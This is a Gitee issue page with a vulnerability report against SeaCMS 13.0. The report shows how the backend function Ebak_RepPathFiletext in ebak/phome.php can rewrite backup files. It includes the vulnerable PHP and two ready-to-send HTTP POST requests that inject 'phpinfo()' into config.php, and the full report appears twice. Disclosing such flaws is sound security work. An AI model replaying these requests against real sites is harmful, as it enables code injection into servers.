Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
1
Star
0
fufufu
/
sea
Code
Issues
1
Pull Requests
0
Wiki
Pipelines
Service
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
seacms
Backlog
#IB8S1N
fufufu
owner
Opened this issue
2024-12-03 16:37
Seacms Version: 13.0 Vulnerable Component: In the backend path \ebak\phome.php  this function:Ebak_RepPathFiletext() follow-up function: function Ebak_RepPathFiletext($add){ global $bakpath; $mypath=trim($add['mypath']); $oldword=Ebak_ClearAddsData($add['oldword']); $newword=Ebak_ClearAddsData($add['newword']); $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; //bdata/seacms1 if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); } Three parameters are passed here  Will eventually be called    The meaning of the words in the picture is:Here, $filename is the $file under the $path, where $path is a variable for bakpath under mypath. Since mypath is controllable, $path is controllable as well. At this point, $hand is also controllable. Furthermore, since $file is $hand, $file is controllable here as well file($filename) In the first few lines  The $bakpath is hardcoded here, and there are filters for ../ and ./, so only files under the $bakpath directory can be controlled.  This only applies regular expression matching control to $newvalue, and since the target value is controllable, therefore here... We can control the WriteFiletext_n function. The data packet is constructed because this overall process involves changing the content of the file generated after a data backup.  Therefore, it is necessary to back up here first. Clicking on the backup will display the name of the database, the name of the backup folder, and the table names chosen for backing up the data.  A folder will be created after the backup.  The content is  Content of Config.php  At this point, the vulnerability exploitation principle I am submitting is to change the content of this backup data. Attack example: Currently, I will first back up the data from a database table.  POST /z5fskt/ebak/phomebak.php HTTP/1.1 Host: seacms Content-Length: 250 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_co_cls&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD The folder is test, and the backup table is sea_co_cls   此时访问phome.php,构造攻击语句  POST /z5fskt/ebak/phome.php?phome=RepPathFiletext HTTP/1.1 Host: seacms Content-Length: 55 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ReData.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close mypath=test&oldword=sea_co_cls&newword=phpinfo()&dozz=1 After simulating the attack, the current config.php is   This vulnerability is similar to CVE-2024-40522, but they are different. The attack logic is similar because both involve changing file content, but the files where the vulnerabilities exist are different, as are the functions involved. Fix Recommendation: Filter the controllable parameters and encrypt the data packets.
Seacms Version: 13.0 Vulnerable Component: In the backend path \ebak\phome.php  this function:Ebak_RepPathFiletext() follow-up function: function Ebak_RepPathFiletext($add){ global $bakpath; $mypath=trim($add['mypath']); $oldword=Ebak_ClearAddsData($add['oldword']); $newword=Ebak_ClearAddsData($add['newword']); $dozz=(int)$add['dozz']; if(empty($oldword)||empty($mypath)) { printerror("EmptyRepPathFiletext","history.go(-1)"); } if(strstr($mypath,"..")) { printerror("NotChangeRepPathFiletext","history.go(-1)"); } $path=$bakpath."/".$mypath; //bdata/seacms1 if(!file_exists($path)) { printerror("PathNotExists","history.go(-1)"); } $hand=@opendir($path); while($file=@readdir($hand)) { $filename=$path."/".$file; if($file!="."&&$file!=".."&&is_file($filename)) { $value=ReadFiletext($filename); if($dozz) { $newvalue=Ebak_DoRepFiletextZz($oldword,$newword,$value); } else { if(!stristr($value,$oldword)) { continue; } $newvalue=str_replace($oldword,$newword,$value); } WriteFiletext_n($filename,$newvalue); } } printerror("RepPathFiletextSuccess","RepFiletext.php"); } Three parameters are passed here  Will eventually be called    The meaning of the words in the picture is:Here, $filename is the $file under the $path, where $path is a variable for bakpath under mypath. Since mypath is controllable, $path is controllable as well. At this point, $hand is also controllable. Furthermore, since $file is $hand, $file is controllable here as well file($filename) In the first few lines  The $bakpath is hardcoded here, and there are filters for ../ and ./, so only files under the $bakpath directory can be controlled.  This only applies regular expression matching control to $newvalue, and since the target value is controllable, therefore here... We can control the WriteFiletext_n function. The data packet is constructed because this overall process involves changing the content of the file generated after a data backup.  Therefore, it is necessary to back up here first. Clicking on the backup will display the name of the database, the name of the backup folder, and the table names chosen for backing up the data.  A folder will be created after the backup.  The content is  Content of Config.php  At this point, the vulnerability exploitation principle I am submitting is to change the content of this backup data. Attack example: Currently, I will first back up the data from a database table.  POST /z5fskt/ebak/phomebak.php HTTP/1.1 Host: seacms Content-Length: 250 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ChangeTable.php?mydbname=seacms&keyboard=sea&act=b Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close phome=DoEbak&mydbname=seacms&baktype=0&filesize=1024&bakline=1000&autoauf=1&bakstru=1&dbchar=utf8&bakdatatype=1&mypath=test&insertf=replace&waitbaktime=0&readme=&tablename%5B%5D=sea_co_cls&Submit=%E5%BC%80%E5%A7%8B%E5%A4%87%E4%BB%BD The folder is test, and the backup table is sea_co_cls   此时访问phome.php,构造攻击语句  POST /z5fskt/ebak/phome.php?phome=RepPathFiletext HTTP/1.1 Host: seacms Content-Length: 55 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://seacms Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://seacms/z5fskt/ebak/ReData.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: PHPSESSID=4qqjagpiagq24ekmdl76fljqac Connection: close mypath=test&oldword=sea_co_cls&newword=phpinfo()&dozz=1 After simulating the attack, the current config.php is   This vulnerability is similar to CVE-2024-40522, but they are different. The attack logic is similar because both involve changing file content, but the files where the vulnerabilities exist are different, as are the functions involved. Fix Recommendation: Filter the controllable parameters and encrypt the data packets.
Comments (
0
)
Sign in
to comment
Status
Backlog
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(1)
1
https://gitee.com/FengFu01/sea.git
git@gitee.com:FengFu01/sea.git
FengFu01
sea
sea
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register